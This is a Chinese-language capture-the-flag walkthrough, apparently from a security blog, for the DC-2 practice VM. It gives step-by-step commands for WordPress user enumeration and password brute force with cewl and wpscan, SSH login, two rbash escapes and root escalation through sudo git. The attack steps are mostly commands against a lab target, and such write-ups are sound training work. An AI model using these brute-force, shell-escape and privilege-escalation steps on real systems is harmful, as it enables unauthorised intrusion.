01 前期准备
今天咱们要渗透的靶机是dc-2,先把dc-2部署到虚拟机当中
下载地址是:https://www.five86.com/dc-2.html
导入成功,启动,接下来咱们就开始拿下这个服务器
02 信息收集
首先我们得知道靶机的ip地址是多少?
执行命令
netdiscover -r 192.168.202.0/24
直接获取到虚拟机的ip,这里有个小tip,把系统导入到虚拟机当中,会自动获取到系统的MAC地址,只需要在设置中进行查看
既然知道了靶机IP,那么就看下靶机上开了哪些端口
执行命令
nmap -A 192.168.202.111 -p 1-65535
可以看到打开了80,7744端口,那我们先从页面中访问一下
03 域名映射
有意思的是我们访问页面,但根本访问不了
这是因为靶机做了域名绑定,他会自动跳转到dc-2上,所以我们需要在本地做个域名映射
打开C:WindowsSystem32driversetc下的hosts文件在末尾加入
192.168.202.111 dc-2 (记住写上自己靶机的IP)
然后保存之后访问页面
可以看到现在访问成功
当然咱们kali也需要进行进行配置
vi /etc/hosts
将192.168.202.111 dc-2 加入末尾
保存退出
ping dc-2
只要可以ping通那么kali也就配好了
现在进入页面,直接点击flag,我们可以看到第一个提示
通过页面我们可以看出这个CMS是典型的WordPress框架,而且提示中告诉我们需要通过cewl工具生成密码
04 密码生成
cewl是一款kali的密码攻击工具,只需要把url告诉cewl,它就会根据页面生成密码列表
进入咱们的kali攻击机
执行命令
cewl -w pass.txt http://dc-2/
这个时候我们可以看到创建好了一个带有密码的pass.txt文件
可是光有密码还是不行,我们还得需要账号,那账号怎么生成呢?
我们可以利用一个神器工具,WPScan,这个工具是专门用来扫描WordPress 漏洞的黑盒子扫描器。
在kali中执行
wpscan --url dc-2 -e u
这条命令的意思是生成当前页面可能存在的账户名
可以看到生成了三个用户名:admin,jerry,tom
把三个用户名放入user.txt当中
vi user.txt
保存退出
既然现在有了账户又有了密码,那我们就需要找到登录后台页面
执行
dirb http://dc-2
获取到可以访问的目录,其中包括了后台地址 :
http://dc-2/wp-admin/
访问一下
05 Wpscan爆破
既然有了账号和密码,就可以进行爆破
执行命令
wpscan --url dc-2 -U user.txt -P pass.txt
通过上面的命令会直接进行后台登录密码爆破
成功爆出两个登录名和密码
jerry / adipiscing
tom / parturient
06 后台操作
用两个账号依次进行登录,发现tom这个账号没办法登录,但是jerry这个账号是可以登录的
顺利拿到flag1和flag2
07 连接服务器
根据flag2的提示,既然tom登录不了,可以尝试做为ssh登录账号和密码
在kali中执行命令
ssh [email protected] -p 7744
输入yes
输入tom的密码
成功连接服务器
执行
ls
可以看到flag3.txt
可惜cat 命令没办法执行,但是可以通过vi查看flag3.txt
执行
vi flag3.txt
通过提示可以使用jerry的账号,而且我们在tom账号下,执行任何命令时都没办法执行成功,因为tom账号的解释器是 rbash。
Rbash是受限制的 bash,限制了bash shell的一些功能,主要用作中转服务器,或者仅使用 ssh 来进行访问的特殊bash,起到保护的作用。
接下来介绍两种方式绕过rbash
08 使用vi绕过rabsh
Tom账号下,除了vi命令可以进行执行,任何命令都无法执行时,我们可以尝试进行vi绕过rabsh。
执行
echo /home/tom(用户名)/usr/bin/*
查看当前用户可以使用的命令
执行
vi test
Shift+: 进入命令行模式
输入set shell=/bin/sh
回车
Shift+: 进入命令行模式
输入shell
回车
进入
执行
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
su jerry 输入之前爆出来的密码,直接进入jerry账户
09 更改环境变量绕过rbash
在tom账号下
执行
echo $0
可以看到当前用户的执行权限
好,现在我们的目的就是解锁tom的rbash,让其拥有bash权限
依次执行一下命令
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
可以看到tom拥有了bssh权限
然后执行
su jerry 输入之前爆出来的密码,直接进入jerry账户
10 权限提升
进入jerry账号,可以看到给我们的第4个提示
提示我们进行git提权
执行
sudo -l
可以看到(root) NOPASSWD: /usr/bin/git
git是root免密执行,既然如此使用git提权
从这五个命令中依次进行尝试执行,总有一条可以成功
sudo git -p --help
sudo git -p config
sudo git --help config
sudo git -p --help config
sudo git help config
直到出现,输入命令行
输入
!/bin/bash
获取到root权限
查看最后一个flag
渗透成功!
11 总结
a. 当发现CMS是用的WordPress的框架搭建的,那么可以使用cewl字典生成器,wpscan工具联合进行渗透攻击。
b. 学会使用多种方法绕过rbash限制。
c. 使用git命令进行提权,以上给出了命令,直到弹出命令行为止,因为我在这里渗透时,很多常用的git提权命令都无法成功弹出命令行,所以这里需要大家多尝试。
-END-
-扫码关注我们-
带你领略不一样的世界
本文始发于微信公众号(零度安全攻防实验室):打靶系列之 - DC-2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论